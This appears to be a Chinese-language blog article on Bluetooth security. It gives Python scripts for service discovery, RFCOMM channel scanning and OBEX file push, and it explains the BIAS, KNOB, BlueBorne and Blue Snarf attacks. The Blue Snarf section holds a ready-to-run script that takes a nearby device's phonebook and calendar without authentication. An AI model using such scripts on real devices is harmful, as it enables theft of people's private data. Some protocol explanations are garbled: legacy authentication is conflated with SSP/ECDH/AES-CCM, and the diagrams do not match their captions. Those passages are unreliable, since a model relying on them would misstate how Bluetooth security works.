返回文章列表

Bluetooth 連線安全與攻擊手法剖析

本文探討 Bluetooth 技術的連線機制、服務發現、RFCOMM 掃描、OBEX 檔案傳輸以及相關的安全風險,包含 BIAS、KNOB、BlueBorne 和 Blue Snarf 等攻擊手法,並提供 Python 程式碼範例,闡述如何利用程式碼進行服務掃描、通道探測與檔案傳輸,同時也分析了 Bluetooth

資安 物聯網

Bluetooth 技術廣泛應用於各種裝置,但也存在安全風險。本文分析了 Bluetooth 的連線過程,包含服務發現和 RFCOMM 掃描,並提供 Python 程式碼示範如何操作。同時也探討了 OBEX 檔案傳輸的應用和安全隱患。此外,文章詳細介紹了幾種常見的 Bluetooth 攻擊手法,例如 BIAS 攻擊,它利用了 Bluetooth 傳統認證的漏洞,攻擊者只需知道裝置地址即可發動攻擊。KNOB 攻擊則利用了加密金鑰協商過程中的漏洞,透過注入惡意 LMP 封包來破解加密金鑰。BlueBorne 攻擊利用了多個藍牙堆積疊和設定檔中的漏洞,可以遠端執行程式碼或進行中間人攻擊。Blue Snarf 攻擊則利用 OBEX-Push 設定檔的漏洞,在沒有驗證的情況下竊取裝置上的敏感資訊,例如電話簿和日曆。文章也提供 Python 程式碼示範如何執行 Blue Snarf 攻擊。最後,文章提醒使用者應注意 Bluetooth 安全風險,並建議採取相應的防護措施,例如使用更安全的藍牙驗證協定和定期更新系統及韌體。

Bluetooth 連線與安全性探索

Bluetooth 技術已經成為現代科技中不可或缺的一部分,無論是個人裝置還是工業應用。玄貓將探討 Bluetooth 的連線機制、服務發現、RFCOMM 掃描以及 OBEX 檔案傳輸等技術,並結合實際案例來說明其應用與潛在風險。

擷取與列印 Bluetooth 服務

首先,我們來看如何使用 Python 來擷取並列印目標裝置上的 Bluetooth 服務。以下是一段簡單的 Python 程式碼範例,用於找出並列印目標裝置的所有服務。

#!/usr/bin/env python3

import bluetooth as bt
import sys

if len(sys.argv) < 2:
    print("Usage: " + sys.argv[0] + " <addr>")
    sys.exit(0)

services = bt.find_service(address=sys.argv[1])

if len(services) < 1:
    print("No services found")
else:
    for service in services:
        for key, value in service.items():
            print(key + ": " + str(value))
        print("")

內容解密:

這段程式碼首先檢查命令列引數是否包含目標裝置的地址。如果沒有提供地址,程式會列印使用方法並離開。接著,使用 bt.find_service 函式來查詢目標裝置上的所有服務。如果找不到任何服務,程式會列印「No services found」。否則,會遍歷每個服務並列印其屬性。

這裡使用的 bt.find_service 函式會接收目標地址作為引數,並傳回一個包含服務的列表。每個服務都是一個字典,包含該服務的各種屬性。

RFCOMM-Channel-Scanner

除了使用 SDP(Service Discovery Protocol)來發現服務外,我們還可以透過掃描 RFCOMM 通路來探測目標裝置上的實際執行狀況。這種掃描方式類別似於網路中的埠掃描,但更為簡單粗暴。

#!/usr/bin/env python3

import bluetooth as bt
from signal import signal, SIGALRM, alarm
import sys

got_timeout = False
timeout = 2

def sig_alrm_handler(signum, frame):
    global got_timeout
    got_timeout = True

signal(SIGALRM, sig_alrm_handler)

if len(sys.argv) < 2:
    print("Usage: " + sys.argv[0] + " <addr>")
    sys.exit(0)

for channel in range(1, 31):
    sock = bt.BluetoothSocket(bt.RFCOMM)
    got_timeout = False
    channel_open = False

    try:
        alarm(timeout)
        sock.connect((sys.argv[1], channel))
        alarm(0)
        sock.close()
        channel_open = True
    except bt.btcommon.BluetoothError:
        pass

    if got_timeout:
        print("Channel " + str(channel) + " filtered")
        got_timeout = False
    elif channel_open:
        print("Channel " + str(channel) + " open")
    else:
        print("Channel " + str(channel) + " closed")

內容解密:

這段程式碼首先設定了一個訊號處理器 sig_alrm_handler,用於處理超時情況。當 alarm 函式被觸發時,如果在設定的超時時間內沒有完成連線操作,則會設定 got_timeoutTrue

接著,程式遍歷 RFCOMM 通路範圍(1到30),嘗試連線到每個通路。如果連線成功且沒有超時,則表示該通路是開放的;如果連線過程中出現錯誤且沒有超時,則表示該通路是關閉的;如果超時,則表示該通路被過濾。

這種掃描方式簡單直觀,但並不高效。它需要逐一嘗試連線每個通路,這可能會耗費大量時間和資源。

OBEX 檔案傳輸

OBEX(Object Exchange)是一種用於在無線裝置之間交換檔案的協定。以下是一段 Python 程式碼範例,展示如何使用 OBEX 協定將檔案傳輸到遠端裝置。

#!/usr/bin/env python3

import sys
from os.path import basename
from pyobex.client import Client, headers, responses

if len(sys.argv) < 4:
    print(sys.argv[0] + ": <btaddr> <channel> <file>")
    sys.exit(0)

btaddr = sys.argv[1]
channel = int(sys.argv[2])
my_file = sys.argv[3]

c = Client(btaddr, channel)
r = None

try:
    print("Connecting to %s on channel %d" % (btaddr, channel))
    r = c.connect(header_list=(headers.Target("OBEX Object Push"),))
except OSError as e:
    print("Connect failed. " + str(e))

if isinstance(r, responses.ConnectSuccess):
    print("Uploading file " + my_file)
    r = c.put(basename(my_file), open(my_file, "rb").read())

    if not isinstance(r, responses.Success):
        print("Failed!")
else:
    print("Connect failed!")

c.disconnect()

內容解密:

這段程式碼首先檢查命令列引數是否包含目標裝置地址、通路號和檔案路徑。如果缺少任何引數,程式會列印使用方法並離開。

接著,建立一個 Client 物件並嘗試連線到目標裝置的指定通路。連線成功後,使用 put 函式將檔案傳輸到遠端裝置。傳輸完成後,關閉連線。

這裡使用了 OBEX 的 Target 頭部來指定要進行的操作型別(OBEX Object Push)。如果連線成功且檔案傳輸成功,程式會列印相應的訊息;反之則列印錯誤訊息。

BIAS 攻擊

BIAS(Bluetooth Impersonation AttackS)是利用 Bluetooth Classic 的鑑別協定漏洞進行的攻擊。攻擊者不需要攔截配對過程或擁有長期鑑別鍵,只需知道雙方的 Bluetooth 地址即可進行攻擊。

機制解析:

BIAS 攻擊利用了 Bluetooth 的鑑別協定漏洞,允許攻擊者在未獲授權的情況下模擬合法裝置進行通訊。攻擊者可以利用這一漏洞來攔截或篡改通訊內容。

防護措施:

為了防範 BIAS 攻擊,建議使用更安全的 Bluetooth 鑑別協定(如 Bluetooth Secure Connections)並定期更新系統和韌體以修補已知漏洞。

藍牙安全漏洞與攻擊手段

藍牙傳統認證的漏洞(BIAS)

藍牙傳統認證,簡稱SSP(Secure Simple Pairing),自藍牙2.1起使用,依賴橢圓曲線迪菲-赫爾曼金鑰交換(ECDH)生成分享金鑰,並使用AES-CCM加密。值得一提的是,SAFER+加密演算法在很久以前就被破解,不應再被使用。

在傳統認證過程中,只需從節點向主節點進行認證。攻擊者只要模擬主節點地址,傳送隨機16位元組數值Cm,從節點會根據長期金鑰、Cm值和自身地址計算Rs,並將其傳送回主節點。主節點聲稱透過確認Rs來證明自己也計算出了相同的Rs值。

安全認證過程則更為複雜,雙方都會傳送隨機值,並透過長期金鑰和地址、隨機值計算雜湊值進行交換。之後雙方必須確認接收到正確的雜湊值,從而確保雙方擁有正確的長期金鑰。然而,這個過程存在降級漏洞。主節點可以強制從節點切換到傳統安全連線,從而使用傳統認證過程“認證”自己而無需知道長期金鑰。

此圖示展示了藍牙安全認證過程:

@startuml
skinparam backgroundColor #FEFEFE
skinparam defaultTextAlignment center
skinparam rectangleBackgroundColor #F5F5F5
skinparam rectangleBorderColor #333333
skinparam arrowColor #333333

title 藍牙傳統認證的漏洞(BIAS)

rectangle "傳送隨機值" as node1
rectangle "計算雜湊值" as node2
rectangle "確認接收到正確雜湊值" as node3

node1 --> node2
node2 --> node3

@enduml

內容解密:

此圖示展示了藍牙安全認證過程中雙方之間的互動流程:

  1. 主節點傳送一個隨機值給從節點。
  2. 從節點接收到隨機值後,也傳送一個隨機值給主節點。
  3. 雙方分別使用長期金鑰和各自的地址以及隨機值來計算雜湊值。
  4. 雙方互相確認對方是否接收到正確的雜湊值。
  5. 如果確認成功,則表明雙方都擁有正確的長期金鑰。

KNOB 攻擊

KNOB 攻擊利用了鏈路管理協定在加密金鑰協商期間允許1位元組的熵。這種熵協商過程既沒有完整性保護也沒有加密。此攻擊適用於藍牙經典及BLE裝置。

攻擊者需要截獲兩個裝置之間的通訊流量並模擬至少一個裝置的地址,以在配對過程中注入LMP資料包。該資料包看似來自通訊夥伴且要求1位元組熵協商。然後攻擊者可以截獲兩個裝置之間的流量並即時暴力破解加密金鑰。

內容解密:

KNOB 攻擊利用了藍牙鏈路管理協定在加金鑰匙協商時允許1位元組熵(Entropy)這一弱點:

  1. 需要截獲兩個裝置之間的通訊流量並模擬至少一個裝置地址。
  2. 在配對過程中注入 LMP 資料包。
  3. 該資料包看似來自於通訊夥伴並要求 1 位元組熵協商。
  4. 攻擊者可以截獲兩個裝置之間的流量並實時暴力破解加金鑰匙。

BlueBorne 攻擊

BlueBorne 攻擊涉及八個常見藍牙堆疊和組態檔案中的漏洞,包括Android、Linux和iOS系統中的遠端程式碼執行漏洞以及Android和Windows系統中的中間人攻擊。這些漏洞不需要裝置配對且不需要目標裝置可發現。

這些漏洞利用了緩衝區溢位等技術,因此詳細描述超出了本文範圍。有興趣深入瞭解BlueBorne攻擊的人可以參考技術白皮書。

Blue Snarf 攻擊

Blue Snarf 攻擊透過連線到OBEX-Push組態檔案來取得目標裝置上的電話簿和日曆等敏感資訊。這個組態檔案通常沒有任何身份驗證機制。

以下是一個Python指令碼示例,展示瞭如何透過Blue Snarf攻擊取得電話簿和日曆:

#!/usr/bin/env python3

import sys
from os.path import basename
from PyOBEX import client, headers, responses

def get_file(client, filename):
    """
    Use OBEX get to retrieve a file and write it
    to a local file of the same name
    """
    r = client.get(filename)

    if isinstance(r, responses.FailureResponse):
        print("Failed to get file " + filename)
    else:
        headers, data = r

        fh = open(filename, "w+")
        fh.write(data)
        fh.close()

if len(sys.argv) < 3:
    print(sys.argv[0] + ": <btaddr> <channel>")
    sys.exit(0)

btaddr = sys.argv[1]
channel = int(sys.argv[2])

print("Blue snarfing %s on channel %d" % (btaddr, channel))

c = client.BrowserClient(btaddr, channel)

try:
    r = c.connect()
except OSError as e:
    print("Connect failed. " + str(e))

if isinstance(r, responses.ConnectSuccess):
    c.setpath("telecom")

    get_file(c, "cal.vcs")
    get_file(c, "pb.vcf")

內容解密:

此程式碼範例展示如何使用 Blue Snarf 攻擊取得目標裝置上的電話簿和行事曆:

  1. 匯入所需的 Python 模組。
  2. 定義 get_file 函式來取得目標裝置上的檔案並將其寫入本地檔案。
  3. 檢查命令列引數以取得藍牙地址和通道號。
  4. 建立與目標裝置的連線並設定路徑為 “telecom”。
  5. 請求並取得目標裝置上的行事曆 (“cal.vcs”) 和電話簿 (“pb.vcf”) 檔案。
  6. 如果連線成功則執行檔案下載操作。

流程圖

@startuml
skinparam backgroundColor #FEFEFE
skinparam defaultTextAlignment center
skinparam rectangleBackgroundColor #F5F5F5
skinparam rectangleBorderColor #333333
skinparam arrowColor #333333

title 流程圖

rectangle "傳送隨機數" as node1
rectangle "計算RAND數" as node2

node1 --> node2

@enduml

內容解密:

此圖示展示了藍牙傳統認證過程中的流程邏輯:

  1. 主節點傳送一個隨機數給從節點。
  2. 從節點計算其RAND數後傳回給主節點。
  3. 主節點進行驗證:如果成功則表示認證成功;如果失敗則表示認證失敗。